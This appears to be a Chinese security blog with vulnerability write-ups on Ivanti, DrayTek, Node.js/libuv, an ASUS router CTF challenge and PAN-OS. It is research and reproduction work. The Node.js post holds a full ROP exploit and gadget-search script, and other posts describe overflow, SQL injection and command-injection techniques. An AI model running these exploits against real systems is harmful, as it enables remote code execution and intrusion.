#5  0xf5fd084e in IftTlsParser::parseData(unsigned char const*, unsigned int) () from /home/ecbuilds/int-rel/sa/22.7/bld3431.1/install/lib/libdsagentd.so
#6  0x56696e48 in ?? ()
#7  0x566133d5 in ?? ()
#8  0x56614446 in ?? ()
#9  0x56614d40 in ?? ()
#10 0xf6c4942e in ?? () from /home/ecbuilds/int-rel/sa/22.7/bld3431.1/install/lib/libdsplibs.so
#11 0xf6c49f2f in DSEvntFds::runDispatcher() () from /home/ecbuilds/int-rel/sa/22.7/bld3431.1/install/lib/libdsplibs.so
#12 0x5663f477 in ?? ()
#13 0x565e0a37 in main ()
(gdb) p/x 0x5669a4e8  - $base
$1 = 0xe54e8
(gdb) i er ecx
Undefined info command: "er ecx".  Try "help info".
(gdb) i r ecx
ecx            0x41414141       1094795585
(gdb)

void __cdecl EPMessage::~EPMessage(EPMessage *this)
{
  DSHash::~DSHash((EPMessage *)((char *)this + 4));
}

0xf6d0fb31 in DSHash::~DSHash() () from /home/ecbuilds/int-rel/sa/22.7/bld3431.1/install/lib/libdsplibs.so

exploit

memset(dest, 0, sizeof(dest));
strncpy(dest, (const char *)a1->clientCapabilities, v23);// overflow
v24 = 46;
v25 = &v57;
if ( ((unsigned __int8)&v57 & 2) != 0 )
{
  LOBYTE(v24) = 44;
  v57 = 0;
  v25 = (__int16 *)&v58;
}
memset(v25, 0, 4 * (v24 >> 2));
v26 = &v25[2 * (v24 >> 2)];
if ( (v24 & 2) != 0 )
  *v26 = 0;
na = 46;
(*(void (__cdecl **)(struct_a1 *, __int16 *))(*(_DWORD *)a1->gap0 + 72))(a1, &v57);

在溢出之后有一个函数指针的调用

mov     edx, [esp+0A0Ch+var_9E0]
mov     eax, [esp+2576]
mov     eax, [eax]
mov     [esp+0A0Ch+src], edx
; 395:     na = 46;
mov     edx, [esp+0A0Ch+arg_0]
mov     [esp+0A0Ch+n], 2Eh ; '.' ; int
mov     [esp+0A0Ch+var_A0C], edx
call    dword ptr [eax+48h]

这里是一个this 指针调用虚表函数的功能，由于虚表指针在栈上，这个栈是可以被我们覆盖的，所以我们大概率就是需要找到一个虚表指针，他指向的虚表函数表，这个表 +0x48 能有合适的gadget，我一开始的思路是去找所有的虚表定义，看看有没有合适的，可惜我没有找到，于是我回到 https://labs.watchtowr.com/exploitation-walkthrough-and-techniques-ivanti-connect-secure-rce-cve-2025-0282/ 这个文章^[2]，观察这个作者的 A Gadget From The Gods ，最后我用的大概率也是做这个找到的这个gadget

在这文章^[2]中作者提到了他的 gadget 的具体汇编，第一句是mov ebx, 0xfffffff0 ，第二句是 add esp, 0x204C

+--------------------------+
| gadget_0[0x48]           |
+--------------------------+
| mov ebx, 0xfffffff0      | <- Load value into EBX
+--------------------------+
| add esp, 0x204C          | <- Adjust stack pointer
+--------------------------+
| mov eax, ebx             | <- Copy EBX to EAX
+--------------------------+
| pop ebx                  | <- Restore EBX
+--------------------------+
| pop esi                  | <- Restore ESI
+--------------------------+
| pop edi                  | <- Restore EDI
+--------------------------+
| pop ebp                  | <- Restore EBP
+--------------------------+
| ret                      | <- Return to caller
+--------------------------+

于是我采用了一个最笨的方法，将所有引用的 lib 库全部objdump 一遍，然后去grep

1
2
3

objdump --x86-asm-syntax=intel -D  $(find . -name "libagentdcs.so") 2>&1 > libagentdcs.so.so.txt

cat ibdsplibs.txt|grep -e "add\tesp, 0x204c"

在libdsplibs.so 的 0x93849C 地址找到了这个 gadget ，意料之外的是这里具体居然是个 swithc table 表

按照代码逻辑，我们只要反着算就行，例如我们这里最后 vtable 的地址是 0x11D8940，那么就需要有一个地址存储这个指针，直接在 ida 的binary search 里搜索

找到一个这个，所以我们最后要覆盖的this 指针地址为 0x00934F4C，后面正常 rop 就行，这里提一句 libc的随机化是 0xfff 位，多核启动的时候会有一个主进程不断的fork子进程，因此我们爆破 0xfff次就一定能成功执行

拿到的权限是 nr 权限

bash-4.2$ ididuid=104(nr) gid=104(nr) groups=104(nr) context=system_u:system_r:kernel_t:s0bash-4.2$

完整的ROP链也留给读者实现了。

Reference link

1.OpenConnect https://www.infradead.org/openconnect/download.html ↩
2.https://labs.watchtowr.com/exploitation-walkthrough-and-techniques-ivanti-connect-secure-rce-cve-2025-0282/ ↩

CVE-2024-41592 vigor 栈溢出漏洞分析

2024-12-30T08:18:59.000Z

…

TL；DR

这个漏洞其实是分析于今年11月份，鉴于今年只更新了四篇博客，所以就把这篇也拿出来了。这也是大概率今年最后一篇博客了。

CVE-2024-41592 是 forescout 一篇为《Breaking Into DrayTekRouters Before Threat Actors Do It Again》^[1]的漏洞报告其中的一个漏洞。

漏洞产生于 GetCGI() 函数中，在该函数中处理字符串参数会造成越界导致栈溢出。

漏洞分析

固件解压和调试准备

这里以Draytek 3910的 4.3.1 的版本作为调试测试版本，进行展开分析。固件的解密和解压不展开赘述，可以参考之前《HEXACON2022 - Emulate it until you make it! Pwning a DrayTek Router by Philippe Laulheret》 ^[2]slide 或者其他研究员的文章。

解压后能在 rootfs/firmware/vqemu/sohod64.bin 目录下找到主程序， Draytek 3910 采用了奇葩的 Linux + Qemu + RTOS 的奇葩架构，即在 arm linux操作系统上使用qemu 运行 drayos 的RTOS 操作系统。这里的调试方式采用的是使用编译 Draytek 开源的qemu代码进行编译，然后就可以正常调试。

调试之前需要对 firmware/setup_qemu_linux.sh 和 run_linux.sh 进行部分修改，例如对run_linux.sh 在 qemu-system-aarch64 添加 -s 参数方便用于调试

漏洞成因

我们通过一个有符号的 draytek 2830 的固件来快速定位到Draytek 3910 4.3.1的 GetCGI() 函数，或者直接对 QUERY_STRING 字符串进行交叉引用。

在各个 cgi 处理函数的时候都会进行一次 GetCGI 函数的调用来处理参数。

在这个函数（GetCGI）里面，当有 & 出现，就会通过 makeword 函数生成一个内存空间，然后将地址赋值到栈上，这个函数的部分逻辑伪代码如下：

v19 = sub_400BFA18("REQUEST_METHOD", a3);
 if ( v19 )
 {
   if ( !strcmp(v19, "GET") )
   {
     v18 = sub_400BFA18("QUERY_STRING", a3);
     if ( !v18 )
       return 0;
     idx = 0;
     while ( *v18 )
     {
       *(a2 + 8 * idx) = makeword(v18, '&');   // overflow
       plustospace(*(a2 + 8 * idx));
       unescape_url(*(a2 + 8 * idx));
       v16 = safe_strcrh(*(a2 + 8 * idx), '=');
       if ( v16 )
       {
         *v16 = 0;
         *(a2 + 8 * idx + 4LL) = v16 + 1;
       }
       else
       {
         *(a2 + 8 * idx + 4LL) = 0;
       }
       ++idx;
     }
   }

这里的 (a2 + 8 * idx） 在栈上，当输入过多的 & 就有如下的效果：

会有一堆指针覆盖栈上的变量，甚至能覆盖到返回地址。

Exploit

虽然我们在GetCGI() 函数中覆盖到了返回地址，但是在各个 CGI 函数结尾的时候会有一个 FreeCtrlName 函数的调用，该函数会将将覆盖掉得返回地址的指针置零。

也正如原文章所说的，我们需要绕过这个函数

Although this seems straightforward, challenges exist. Consider the “FreeCtrlName()” function called when a
CGI handler returns (Figure 13). This function “frees” all the POST/GET request data structures, including the
query string buffer. It simply iterates over the 32-bit pointers located in the lower 4 bytes of the stack
21
DRAY:BREAK - BREAKING INTO DRAYTEK ROUTERS BEFORE THREAT ACTORS DO IT AGAIN
addresses and frees them, zeroing out the pointer values as well. Oddly, the higher 4-byte addresses (e.g.,
pointers to query string parameters values) are never freed

FreeCtrlName 函数伪代码如下：

__int64 __fastcall FreeCtrlName(__int64 result)
{
  int v1; // [xsp+1Ch] [xbp+1Ch]
  int i; // [xsp+2Ch] [xbp+2Ch]

  v1 = result;
  for ( i = 0; *(v1 + 8 * i); ++i )
  {
    result = sub_4061D7CC(*(v1 + 8 * i), 0x154u);
    *(v1 + 8 * i) = 0;
  }
  return result;
}

这个函数的 free 逻辑是，遍历栈上的指针，一直free 直到为 0 为止，因此我们需要找到一个函数可以在栈上写一个 0 ，这样就能避免这个问题。在原文^[1] 甚至后来 12月在 Blackhat EU 《When (Remote) Shells Fall Into The Same Hole: Rooting DrayTekRouters Before Attackers Can Do It Again》^[3]的slide 上都没有提及这个所谓的 [vulnerable-cgi-page].cgi 是什么。

但是通过一些途径我们还是能找到这个能设置 0 的 cgi ，思路也是比较简单

首先先将所有的 CGI 调用函数定义出来，
过滤出不需要授权的 CGI 函数
粗浅的记得是只要函数里没有 CGIbyFieldName = GetCGIbyFieldName(v6 + 32, "sFormAuthStr");的调用就不需要授权
猜想哪些函数可以写 0 ，例如 atoi(query_string), query_string 是 HTTP 请求传入的参数

通过以上操作，我们其实很快就能找到一个不用授权、且参数可控可写 0 的CGI。最后的效果就是我们可以控制返回地址跳转到一个内容完全可控的地址里（内容为具体参数的内容）且由于程序运行在 qemu 环境上，因此我们可以在目标地址上写入任意的shellcode。但是我们需要逃逸到 qemu 外面，本身程序提供了一个， virtcons_out 这个函数，可以执行一些特殊的命令，我们可以在第一个参数中拼接命令注入来在host上执行任意命令。

Reference link

1.《Breaking Into DrayTekRouters Before Threat Actors Do It Again》https://www.forescout.com/resources/draybreak-draytek-research/ ↩
2.《HEXACON2022 - Emulate it until you make it! Pwning a DrayTek Router by Philippe Laulheret》https://www.youtube.com/watch?v=CD8HfjdDeuM ↩
3.《When (Remote) Shells Fall Into The Same Hole: Rooting DrayTekRouters Before Attackers Can Do It Again》 https://i.blackhat.com/EU-24/Presentations/EU24-Dashevskyi-When-Remote-Shells-Fall-Into-The-Same-Hole.pdf ↩

Exploiting File Writes in Hardened Node.js Environments

2024-10-15T10:23:33.000Z

…

TL; DR

在 Hexacon 2024 上关注到了这么一个议题《Exploiting File Writes in Hardened Environments - From HTTP Request to ROP Chain in Node.js 》，同时该作者发了一个简单的 Blog 讲述了下这个原理以及部分细节。^[1] 这里简单快速复现一下。

环境

const express = require('express');
const fs = require('fs');
const path = require('path');
const app = express();

app.use(express.json());

app.post('/upload', (req, res) => {
  const { filename, content } = req.body;

  if (!filename || !content) {
    return res.status(400).json({ message: 'Filename and content are required!' });
  }

  const filePath = path.join(__dirname, 'uploads', filename);

  fs.writeFile(filePath, content, (err) => {
    if (err) {
      return res.status(500).json({ message: 'Error saving file!' });
    }
    res.json({ message: 'File uploaded successfully!', path: filePath });
  });
});

app.listen(3000, () => {
  console.log('Server running on http://localhost:3000');
});

按照文章的描述，我们先随便构造一个可以任意文件写的 nodejs 服务（在假设环境是readonly 的情况下）

Exploit

按照文章的描述， nodejs 使用了 libuv 的这么一个库，这个库在初始化的时候会的打开一个 Pipe 管道，作者通过审计的时候发现有一个函数 uv__signal_event ^[2]

static void uv__signal_event(uv_loop_t* loop,
                             uv__io_t* w,
                             unsigned int events) {
  uv__signal_msg_t* msg;
  uv_signal_t* handle;
  char buf[sizeof(uv__signal_msg_t) * 32];
  size_t bytes, end, i;
  int r;

  bytes = 0;
  end = 0;

  do {
    r = read(loop->signal_pipefd[0], buf + bytes, sizeof(buf) - bytes);

    if (r == -1 && errno == EINTR)
      continue;
...
    /* `end` is rounded down to a multiple of sizeof(uv__signal_msg_t). */
    end = (bytes / sizeof(uv__signal_msg_t)) * sizeof(uv__signal_msg_t);

    for (i = 0; i < end; i += sizeof(uv__signal_msg_t)) {
      msg = (uv__signal_msg_t*) (buf + i);
      handle = msg->handle;

      if (msg->signum == handle->signum) {
        assert(!(handle->flags & UV_HANDLE_CLOSING));
        handle->signal_cb(handle, handle->signum); // callback
      }

      handle->dispatched_signals++;

      if (handle->flags & UV_SIGNAL_ONE_SHOT)
        uv__signal_stop(handle);
    }

在这个函数中，从 loop->signal_pipefd[0] 读内容，然后做一个 signum检查，就会使用传过来的数据解引用出来一个函数指针，然后直接调用

handle = msg->handle;

if (msg->signum == handle->signum) {
  assert(!(handle->flags & UV_HANDLE_CLOSING));
  handle->signal_cb(handle, handle->signum); // callback
}

uv__signal_msg_t数据结构仅包含两个成员，一个句柄指针和一个称为signum的整数：

typedef struct {
  uv_signal_t* handle;
  int signum;
} uv__signal_msg_t;

在这个 Pipe 是可 uv__make_pipe 函数创建的，在 Docker 容器中是fd 为 11 的描述符

当然这个fd num 值更好的判断就是下一个断点，然后简单通过 echo 发点数据就能确认（不要在真实机器上测试，会把一些 lib 写坏掉）

Overview Data Structure

对于我们来说，我们有一个任意文件写入的方法，我们通过这个方法往 Pipe 中写入我们构造的数据，我们要构造的数据如上

发送过来的数据包含两个部分，一个是 *handle 指针，和 signum，其中 *handle 指针指向的数据包含两个部分

signal_cb
signum

我们要构造 uv_signal_msg_t 的 signum 和 uv_signal_s 结构体中的 signum 相等，才会调用 signal_cb ，并且，由于我们构造的这个场景是通过 fs.writeFile 函数写入内容的

用于写入文件的函数（本例中为 fs.writeFile）仅限于有效的 UTF-8 数据。因此，写入管道的所有数据都必须是有效的 UTF-8。

如果满足上述条件，我们就可以劫持程序流，控制程序执行到我们想要的地方

Searching Data Structure Gadgets

由于 FROM node:18@sha256:f910225c96b0f77b0149f350a3184568a9ba6cddba2a7c7805cc125a50591605 我们这个方式拉取的 node 程序本身是没有开PIE的

osboxes@osboxes:~$ checksec node
[*] '/home/osboxes/node'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
    Debuginfo:  Yes

因此我们可以尝试在 node 程序中尝试找合适的 gadget。我考虑到如果程序起来只有可能会有一些数据写在 bss 或者 data 段上，因此我 search 的范围是将程序正常启动，然后 dump memory

由于执行到 signal_cb 的时候，此时场景如下：

我们仅仅需要找几个 pop xxx , pop xxx, .* ret 的 gadget 就行，那么代码思路如下：

for addr, length in segments:
    for offset in range(length-4):
        handle = addr + offset
        if not is_valid_utf8(p64(handle-0x60)):
            continue
        signum = read_mem(handle+8, 4)
        if not is_valid_utf8(signum):
            continue
        ptr = read_mem(handle, 8)
        data = read_mem(u64(ptr), 30)
        if data is None:
            continue
        out =  disasm(data, arch='amd64', byte=False, offset=False)
        if is_useful_gadget(out):
            print('handle',hex(handle), '->', 'ptr:', u64(ptr), 'signum', hex(u32(signum)))
            print(out)

首先从头开始遍历，由于调用的callback 指针是从 handle+60h 获取的，因此我们第一个要校验的 *handle 是要减去 0x60 的，然后从 handle + 8 后取 4个字节，作为signum ，判断这两者是否都符合 utf-8 编码，如果是将这个指针读出来，接着读取这个指针的指向的gadget ，这里假设 depth 为 30 ，然后尝试去反汇编，然后判断这个 gadget 是不是符合 pop xxx , ret 的形式，如果是将这些值打印出来。

我这里没有做更细致的处理，打印出来的 gadget 可能比较丑，大概长这样

很幸运的是，我的第一个 gadget 就是满足的，且适合我用来做栈迁移的


root@osboxes:/home/osboxes# python3 search.py
handle 0x4261af -> ptr: 12048128(0xB7D700) signum 0xb7d900
pop    r12
pop    r13
pop    r14
pop    r15
pop    rbp
ret

那么此时我构造出来的数据就大致长这样

uv_signal_msg_t.               
          ....
*handle (0x4261af) -------->   uv_signal_s
 signum (0xb7d900).               ...

                               *signal_cb(0xB7D700) : pop r12 ; pop r13 ; pop r14 ; pop r15 ; pop rbp ; ret
                               signum (0xb7d900)
                                 ...

1 2	content = p64(0x4261af - 0x60) # handle content += p64(0xb7d900) # signum

这里贴下我完整的 search 脚本

#!/usr/bin/env python3
from pwn import *

def is_valid_utf8(byte_seq):
    try:
        byte_seq.decode('utf-8')
        return True
    except UnicodeDecodeError:
        return False


def read_mem(addr, size):
    if 0x0000000000400000< addr< 0x0000000004ff1000:
        base = 0x0000000000400000
        data = mem1[addr-base: addr+size-base]
    elif 0x00000000051f1000 < addr < 0x00000000051f4000:
        base = 0x00000000051f1000
        data = mem2[addr-base: addr+size-base]
    elif 0x00000000051f4000 < addr < 0x000000000520f000:
        base = 0x00000000051f4000
        data = mem3[addr-base: addr+size-base]
    else:
        return None
    return data

def is_useful_gadget(out):
    dis_list = out.split('\n')
    for n, x in enumerate(dis_list):
        if x == 'ret':
            for _ in range(0, n):
                if 'bad' in dis_list[_] :
                    return False
            return True
    return False

with open("mem1", "rb") as f:
    mem1 = f.read()

with open("mem2", "rb") as f:
    mem2 = f.read()

with open("mem3", "rb") as f:
    mem3 = f.read()

segments = [(0x0000000000400000, 0x0000000004ff1000-0x0000000000400000), (0x00000000051f1000, 0x00000000051f4000-0x00000000051f1000), (0x00000000051f4000, 0x000000000520f000-0x00000000051f4000)]


for addr, length in segments:
    for offset in range(length-4):
        handle = addr + offset
        if not is_valid_utf8(p64(handle-0x60)):
            continue
        signum = read_mem(handle+8, 4)
        if not is_valid_utf8(signum):
            continue
        ptr = read_mem(handle, 8)
        data = read_mem(u64(ptr), 30)
        if data is None:
            continue
        out =  disasm(data, arch='amd64', byte=False, offset=False)
        if is_useful_gadget(out):
            print('handle',hex(handle), '->', 'ptr:', u64(ptr), 'signum', hex(u32(signum)))
            print(out)

ROP Chain

当能栈迁移后，后面就是拼接 ROP chain的流程了，由于程序本身没有 system 、 popen 等函数的调用，所以我没有法直接 ret2text，我将我的思路简单定成如下：

找到一个 gadget 能从任意地址读取值，然后赋值到某个寄存器上
找到一个gadget 能对可控的寄存器进行加减法运算
找到一个 libc 函数，该函数与 system 的偏移满足 UTF-8 编码

首先通过 ROPchain 将所有可能能用的 gadget 输出成一个文件，然后重新过滤下看哪些地址是符合 utf-8

from pwn import *
def is_valid_utf8(byte_seq):
    try:
        byte_seq.decode('utf-8')
        return True
    except UnicodeDecodeError:
        return False

lines = [ line.replace('\n','') for line in open('./gadgets','r').readlines()]
lines = list(filter(lambda line: ' : ' in line , lines))
lines = list(map(lambda line: line.split(' : '),lines))


result = list(filter(lambda l: is_valid_utf8(p64(int(l[0],16))),lines ))
for i in result:
    print(i[0],' : ',i[1])

通过这个过滤，我找到了两条 gadget

1 2	0x0000000001097367 : add rax, rdx ; ret 0x0000000002176b34 : mov rax, qword ptr [rsi] ; ret

第i三个 libc 函数，我找到的是， setegid ，它与system的偏移为 0xb1f30 符合 UTF-8

通过组合我们构造出如下 ropchain

content  = p64(0x4261af - 0x60) + p64(0xb7d900)
content += p64(pop_rdx_ret)
content += p64(0x100)
content += p64(add_rax_rdx_ret)
content += p64(pop_rdx_ret)
content += p64(pop_rsi_ret) # next gadget
content += p64(mov_rdi_rax_pop_rbp_jump_rdx)
content += b'aaaaaaaa' # junk data
content += p64(setegid_got) #
content += p64(mov_rax_qword_ptr_rsi_ret)
content += p64(pop_rdx_ret)
content += p64(0xb1f30) # setegid libc offset -> system
content += p64(sub_rax_rdx_ret)
content += p64(0x0000000003adace7) # jmp rax
content += b'a'*0x100 + b'; touch /tmp/hacked ; '

最后就可以执行任意命令了

完整 exploit

from pwn import *
import json
import requests
from urllib.parse import quote

# control rip
#content = p64(0x4261af - 0x60) + p64(0xb7d900) + b'aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa'


content = p64(0x4261af - 0x60) + p64(0xb7d900) + b'aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa'


pop_rdi_ret = 0x0000000000427748
pop_rsi_ret = 0x0000000000433d27
pop_rdx_ret = 0x0000000001634a57
sub_rax_rdx_ret = 0x00000000017e7432
mov_rax_qword_ptr_rsi_ret = 0x0000000002176b34
mov_rdi_rax_pop_rbp_jmp_rdx = 0x000000000190ade9
mov_rbp_rsp_pop_rbp_ret = 0x0000000001b1da5d

add_rax_rdx_ret = 0x0000000001097367
jump_rsp = 0x0000000000430657
mov_rdi_rax_pop_rbp_jump_rdx = 0x000000000190ade9 # mov rdi, rax ; pop rbp ; jmp rdx
mprotect_plt = 0xa98eb0
setegid_got = 0x51f3f08

content  = p64(0x4261af - 0x60) + p64(0xb7d900)
content += p64(pop_rdx_ret)
content += p64(0x100)
content += p64(add_rax_rdx_ret)
content += p64(pop_rdx_ret)
content += p64(pop_rsi_ret) # next gadget
content += p64(mov_rdi_rax_pop_rbp_jump_rdx)
content += b'aaaaaaaa' # junk data
content += p64(setegid_got) #
content += p64(mov_rax_qword_ptr_rsi_ret)
content += p64(pop_rdx_ret)
content += p64(0xb1f30) # setegid libc offset -> system
content += p64(sub_rax_rdx_ret)
content += p64(0x0000000003adace7) # jmp rax
content += b'a'*0x100 + b'; touch /tmp/hacked ; '


a = content.decode('utf-8')
print(f"content: {content}")
data = {'filename':"../../../../proc/8/fd/11","content":content.decode('utf-8')}

#print(json.dumps(data))
resp = requests.post("http://localhost:3000/upload",data = json.dumps(data),headers = {"Content-Type":"application/json"})

#data =  dump.dump_all(resp.reuqest)
#print(resp.text)

Reference link

1.https://www.sonarsource.com/blog/why-code-security-matters-even-in-hardened-environments/ ↩
2.https://github.com/libuv/libuv/blob/fbe2d85bd5a5c370a8cacea92b3bdfbd9f98a530/src/unix/signal.c#L433 ↩

Real World CTF 6th Router4 writeup

2024-05-29T16:00:00.000Z

…

前言

这次 RWCTF 就准备了一个题目: 「Router4」, 一共有三个队伍在比赛期间做了出来，题目的附件和题目介绍可以从Real-World-CTF-6th-Challenges^[1]这个仓库看到。

题目的场景就是一个 ASUS 路由器开放了 wan 的服务后（ lighttpd），该服务会默认监听在 443 端口上。题目环境是以 ASUS RT-AC68U的固件版本为 3.0.0.4.386.51665为基底进行模拟的。

在比赛结束后，我将涉及的漏洞上报给了 ASUS 官方，然后获得了两个 CVE 编号，分别是CVE-2024-3079和CVE-2024-3080。同时也将部分非预期的情况告诉选手，让选手也提前将非预期的漏洞上报给官方。

漏洞细节

Stack Overflow

在 ASUS 的 lighttpd 上其实是存在多个缓冲区溢出漏洞的，这里列举几个比赛前和比赛后发现的。

lighttpd cookie 处栈溢出，直接通过 strncpy 拼接 cookie的值，其中 tmp-used 就是 cookie 值的长度

mod_aicloud_auth.so 解析 uri 处栈溢出，直接从 ? 后取字符串，然后也是通过 strncpy拼接字符串，长度可控

replace_str 函数栈溢出

replace_str 函数中没有检查长度，直接通过 sprintf 写入 buffer 中，因此可以造成栈溢出

char *replace_str(char *st, char *orig, char *repl, char* buff) {  
char *ch;
if (!(ch = strstr(st, orig)))
return st;
strncpy(buff, st, ch-st);  
buff[ch-st] = 0;
sprintf(buff+(ch-st), "%s%s", repl, ch+strlen(orig));  

return buff;
}

通过查看调用链，可以看到 change_webdav_file_path 调用了 replace_str 函数

从 mod_webdav.so 的二进制看就是， sub_7e60 函数传入了 buffer 这个参数，

然后在 sub_7e60 函数中调用了 replace_str 函数，我们已经知道 replace_str 函数是直接通过 sprintf拼接字符串，没有检查，因此存在栈溢出

Infor Leak

其实预期解应该是选手还需要通过某个漏洞在实现泄漏 libc 信息，但是实际上发现解决题目的其中两个队伍 BlueWater和 Kalmarunionen都用了爆破 libc的方法（因为32位，只有4096的随机概率)，失误了 orz

在固件的逆向和代码审计的过程中，我们发现一个 sql 注入的存在，后面在上报漏洞给官方的时候才知道这个漏洞其实是之前就有人上报过了，编号为 CVE-2023-35720^[2]

在 mod_webdav.so 中，程序会从 HTTP 消息的 Header根据关键词取值，

例如从 header 中取出 Keyword ，之后在 2186 行处有一次判断值是否合法的代码，如果值不合法则HTTP返回 207

这里判断了是否为空、是否存在 ' 单引号，如果合法后续会拼接到 sql 语句中执行。

这里我们注意到一个地方，在拼接之前会进行一次 urldecode，此时我们显然很容易就会发现问题所在了，我们可以通过 url 编码来绕过程序对 '单引号的检查，在后续拼接 sql 语句来达到 sql 注入的效果。

另外一个问题来了，我们这个标题不是说信息泄漏吗？sql注入怎么达到信息泄漏呢？该组件sql数据库使用的是 sqlite3，在 sqlite3 中有一个可以用来地址泄漏的方法, 在2017年长亭的特性还是漏洞？滥用 SQLite 分词器) ^[3]文章中有详细说明。

我们直接诶引用下原文说明下原理，SQLite3 中注册自定义分词器用到的函数是 fts3_tokenizer，实现代码位于 ext/fts3/fts3_tokenizer.c 的 scalarFunc 函数。支持两种调用方式：

1 2	SELECT fts3_tokenizer(); SELECT fts3_tokenizer(, );

当只提供一个参数的时候，该函数返回指定名字的分词器的 sqlite3_tokenizer_module 结构体指针，以 blob 类型表示。例如在 sqlite3 控制台中输入：

1	sqlite> select hex(fts3_tokenizer('simple'));

将会返回一个以大端序 16 进制表示的内存地址，可以用来检查特定名称的分词器是否已注册。这个指针指向一个 sqlite3_tokenizer_module 结构体。

函数的第二个可选参数用以注册新的分词器，只要执行如下 SQL 查询，即可注册一个名为 mytokenizer 的分词器：

1	sqlite> select fts3_tokenizer('mytokenizer', x'0xdeadbeefdeadbeef');

根据文章 2.1 基地址泄漏 小节中说明的，只提供一个参数执行 select fts3_tokenizer(name)，如果 name 是一个已经注册过的分词器，将会返回这个分词器对应的内存地址。在 fts3.c 中可以看到 SQLite3 默认注册了内置分词器 simple 和 porter：

1 2	if( sqlite3Fts2HashInsert(pHash, "simple", 7, (void )pSimple) \|\| sqlite3Fts2HashInsert(pHash, "porter", 7, (void )pPorter)

以 simple 分词器为例，其注册的指针指向静态区的 simpleTokenizerModule。

static const sqlite3_tokenizer_module simpleTokenizerModule = {
  0,
  simpleCreate,
  simpleDestroy,
  simpleOpen,
  simpleClose,
  simpleNext,
};

通过获得这个指针，即可通过简单的计算获得 libsqlite3.so 的基地址，从而绕过 ASLR。

因此接合上面的sql注入，我们就可以拿到泄漏的地址

认证绕过

在检查路由的时候，代码如下

检查路由的时候判断是不是 /smb/ 但是忽略了，如果是 /smb 则可以绕过授权

一个好玩的非预期

前文提到了这个题目有三个队伍做出来了，其中BlueWater和 Kalmarunionen是通过栈溢出 + 爆破 libc 解决题目的，另外一个队伍用了一个比较有趣的非预期，这个队伍就是 Friendly Maltese Citizens

前面提到了该服务存在 sql 注入漏洞，他们发现 smb 的 GETMUSICCLASSIFICATION 方法存在 get_album_cover_image函数可以用来加载文件内容并且泄漏。于是他们用 sql 注入将 flag 的路径写到 album表中，然后直接通过下面的方法预览

await fetch("/RWCTF", {
  "headers": {
    "classify": "album",
  },
  "body": "</D:prop></D:propfind>",
  "method": "GETMUSICCLASSIFICATION"
}).then(a => a.text())

参考链接

1.Router challenge attachment https://github.com/chaitin/Real-World-CTF-6th-Challenges/tree/main/Router4 ↩
2.CVE-2023-35720 lighttpd mod_webdav.so SQL Injection Information Disclosure Vulnerabilityhttps://www.zerodayinitiative.com/advisories/ZDI-23-1166/ ↩
3.特性还是漏洞？滥用 SQLite 分词器 https://blog.chaitin.cn/abusing_fts3_tokenizer/ ↩

CVE-2024-3400 Palo Alto Networks PAN-OS命令注入漏洞

2024-04-18T03:57:51.000Z

…

TL; DR

4月12日的是看到 paloaltonetworks 有一个安全公告^[1], CVE编号是 CVE-2024-3400，漏洞是一个命令注入，影响的版本如下：

然后在复现的过程中发现 watchTowr Labs^[2] 已经发了他们的分析，那就顺着他们的分析学习下这洞吧，这里提下我的复现版本为 10.2.9

环境搭建

由于漏洞公告^[1]提到，该漏洞的影响需要 PAN-OS 配置 GlobalProtect portal 或者 GlobalProtect gateway，所以我们需要先完整的搭建下我们的环境。

简单说下配置的流程，我这里的配置是参考 QWB S6 Final Pan 这个题目的环境配置的（亏我还能找到这个题目的虚拟机），另外提一句当时强网杯利用的 CVE-2021-3064 这个漏洞还是蛮有意思的。

首先，我的虚拟机有三个网卡，

网卡1是管理口，网卡2准备用来做门户和网关的网段，我这里用的网段是 192.168.100.1/24 。登陆到管理口的后台后，依次设置

NETWORK->接口 设置以太网接口，接口类型设置为 3层，设置 IPV4 的静态 IP

DEVICE->证书管理->证书，生成 RootCert 再基于 RootCert 派发一个 gp_cer

DEVICE->证书管理-> SSL/TLS 服务配置文件 依据 gp_cert 配置 SSL_PROFILE

然后到 NETWORK->GlobalProtect->门户 配置门户，中间可能少了一点东西，这里贴一下我的配置项，缺什么补什么就好了

NETWORK->GlobalProtect->网关 网关配置是也是差不多

然后现在在另外一台虚拟机里，也设置上同样的 192.168.100.1/24 网段的网卡，就可以访问到门户了

由于没有所谓的设备证书，此次漏洞能命令执行提到的 telemetry 功能是不可用状态

访问 https://192.168.1.101/ssl-vpn/hipreport.esp 就是 https://192.168.1.101/ssl-vpn/hipreport.esp 的返回

shell 和文件系统的获取直接用了当时 QWB时候 Larryxi^[3] 大哥提供的方法

patch vmem获取本地shell
- sed -i "s/\/usr\/local\/bin\/cli/\/\/\/\/\/\/\/\/\/\/\/\/bin\/sh/g" PA1029-9aad9851.vmem
- sed -i "s/admin:x:1001:1004/admin:x:0000:0000/g" PA1029-9aad9851.vmem

查看固件内容方式，挂载 vmdk 就行
j

1
2
3

sudo modprobe nbd
sudo qemu-nbd -c /dev/nbd1 /mnt/hgfs/qwb-final/PA-disk1.vmdk
sudo mount /dev/nbd1p2 /mnt/panos/

这样就可以 admin 用户登陆之后是一个 root 权限的 shell ，之后调试之类的也可使用 ssh 登陆

漏洞分析

在^[1] 文章就已经提到了漏洞的触发路径，首先是 gpsvc 文件在处理 Cookie 字段的时候会有一个任意文件写，其次是 telemetry 功能的定时任务 device_telemetry_send 会用 /usr/local/bin/dt_send 发送数据的时候会拼接文件名到命令中，造成命令注入。

我们依次简单分析下

gpsvc 任意文件写分析

通过 netstat 命令，我们可以看到 gpsvc 监听在 20277 端口上，

在查看 /etc/nginx/sslvpn/localtion.conf 的配置文件中，我们看到如下配置

可以看到 ssl-vpn 相关的部分接口为通过 nginx 代理转发到 20177 端口，就是 gpsvc 程序里处理。

逆向分析

